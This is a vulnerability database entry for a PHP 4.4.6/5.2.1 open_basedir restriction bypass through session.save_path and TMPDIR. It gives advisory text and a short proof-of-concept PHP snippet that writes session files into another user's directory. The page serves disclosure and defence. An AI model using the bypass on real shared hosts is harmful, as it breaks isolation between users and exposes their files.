Lucene search
K

PHP <= 5.2.1 Session.Save_Path() TMPDIR Open_Basedir Restriction Bypass Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 9 Views

PHP Session.Save_Path() Vulnerability in Versions 4.4.6 & 5.2.

Code

                                                source: http://www.securityfocus.com/bid/23183/info

PHP is prone to a &#39;open_basedir&#39; restriction-bypass vulnerability due to a design error.

Successful exploits could allow an attacker to access sensitive information or to write files in unauthorized locations.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code; in such cases, the &#39;safe_mode&#39; and &#39;open_basedir&#39; restrictions are expected to isolate users from each other.

The following versions are vulnerable:

PHP 4 up to and including 4.4.6
PHP 5 up to and including 5.2.1 

&#60;?php
  ini_set(&#34;session.save_path&#34;, &#34;/sessions/user2/&#34;);
  putenv(&#34;TMPDIR=/sessions/user2/&#34;);
  ini_set(&#34;session.save_path&#34;, &#34;&#34;);
  @session_start();
?&#62;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
9